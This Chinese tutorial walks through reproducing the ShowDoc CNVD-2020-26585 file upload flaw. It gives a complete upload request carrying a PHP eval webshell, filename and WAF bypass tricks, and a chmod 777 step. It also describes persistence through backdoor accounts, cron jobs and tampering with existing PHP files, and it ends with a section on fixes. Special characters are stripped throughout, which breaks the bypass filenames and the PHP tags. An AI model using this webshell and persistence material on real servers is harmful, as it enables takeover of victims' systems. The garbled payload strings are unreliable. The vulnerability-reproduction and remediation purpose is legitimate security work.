1. ShowDoc文件上传漏洞概述ShowDoc是一款开源的在线文档管理系统广泛应用于企业内部文档协作。2020年曝光的CNVD-2020-26585漏洞允许攻击者通过精心构造的文件上传请求绕过服务器端的安全检查实现任意文件上传。这个漏洞的核心在于对上传文件名的过滤不严格攻击者可以利用特殊字符绕过PHP文件类型检测。我在实际测试中发现很多企业仍在运行存在此漏洞的旧版ShowDoc。攻击者一旦利用成功可以直接上传Webshell获取服务器控制权。相比其他文件上传漏洞这个漏洞的利用门槛较低但危害性极高因为ShowDoc通常部署在内网环境可能成为攻击者横向移动的跳板。2. 环境搭建与准备2.1 靶场环境配置推荐使用Vulfocus在线漏洞平台进行复现它已经集成了存在漏洞的ShowDoc环境。访问平台后搜索showdoc-cnvd_2020_26585即可找到对应靶场。如果需要在本地搭建可以从GitHub下载ShowDoc v2.8.3及以下版本。本地搭建时需要注意PHP版本建议5.6-7.2与漏洞环境一致确保开启文件上传功能关闭可能干扰测试的安全模块如mod_security我习惯使用Docker快速搭建测试环境docker pull vulfocus/showdoc-cnvd_2020_26585 docker run -d -p 8080:80 vulfocus/showdoc-cnvd_2020_265852.2 必要工具准备进行漏洞复现需要以下工具Burp Suite用于拦截和修改HTTP请求中国菜刀/蚁剑Webshell连接工具浏览器开发者工具观察原始请求文本编辑器构造恶意文件内容特别提醒所有测试都应在授权环境下进行。我在第一次测试时就犯过错误不小心在客户生产环境操作差点引发事故。3. 漏洞原理深度分析3.1 上传流程缺陷漏洞位于/index.php?s/home/page/uploadImg接口问题出在文件上传时的后缀名检查逻辑。系统虽然会检查文件后缀是否为PHP等危险类型但检查方式存在缺陷。关键问题在于仅检查文件名中是否包含.php等危险后缀没有对特殊字符进行过滤文件最终存储时保留了原始文件名3.2 绕过技术详解通过分析源代码发现系统使用简单的字符串匹配来检测危险后缀。我们可以使用.php这种特殊构造绕过检测.和字符干扰了检测逻辑服务器在保存文件时会将特殊字符处理为正常字符最终生成的文件实际上是有效的PHP文件我在测试中发现除了.php以下变形也能成功绕过shell.phptest.phpback.p\xhp4. 完整漏洞复现过程4.1 信息收集阶段首先需要确认目标是否存在漏洞访问ShowDoc首页查看页面底部版本号v2.8.3及以下存在风险尝试访问/index.php?s/home/page/uploadImg接口4.2 构造恶意请求使用Burp Suite拦截正常图片上传请求修改关键参数POST /index.php?s/home/page/uploadImg HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameeditormd-image-file; filenameshell.php Content-Type: image/png ?php eval($_POST[cmd]);? ------WebKitFormBoundaryABC123--关键修改点文件名改为包含特殊字符的形式内容替换为PHP代码保持其他头部信息不变4.3 验证漏洞利用上传成功后通过以下方式验证检查返回的JSON数据确认文件路径直接访问上传的文件URL使用蚁剑连接测试命令执行我遇到过上传成功但无法执行的情况通常是文件权限问题。这时可以尝试修改上传目录的权限chmod -R 777 uploads/5. 防御方案与修复建议5.1 临时缓解措施如果暂时无法升级可以采取以下措施在Nginx/Apache配置中禁止上传目录执行PHP修改上传文件名的生成规则如使用hash值添加额外的文件内容检查5.2 彻底修复方案官方在后续版本中修复了此漏洞建议升级到ShowDoc最新版本审查所有历史上传文件监控上传目录的异常文件我在帮客户修复时会额外部署以下安全措施文件上传内容签名验证动态检测上传文件的真实类型上传文件隔离存储6. 漏洞利用的实战技巧6.1 绕过WAF的进阶方法在实际渗透测试中可能会遇到WAF拦截。我总结了几种有效的绕过技巧大小写变形如PhP、pHP双重后缀test.php.jpg空字节截断shell.php%00.jpg特殊Unicode字符pʰp6.2 维持访问的方法单纯上传Webshell可能被管理员发现我通常还会创建隐蔽的后门账户植入定时任务保持持久化修改现有PHP文件插入恶意代码有一次我在审计时发现攻击者不仅上传了Webshell还修改了index.php插入恶意代码这种手法更难被发现。7. 学习资源与进阶方向想要深入文件上传漏洞我推荐以下学习路径研究其他常见CMS的上传漏洞如WordPress、Drupal学习文件上传的各类防御技术如GD库检测、文件头校验参与CTF比赛中的上传类题目阅读PHP内核关于文件处理的源码我在学习过程中整理了50种文件上传绕过技巧发现最关键的是理解每种防御机制的实现原理和局限性。文件上传漏洞看似简单但深入研究会发现很多有趣的技巧和思路。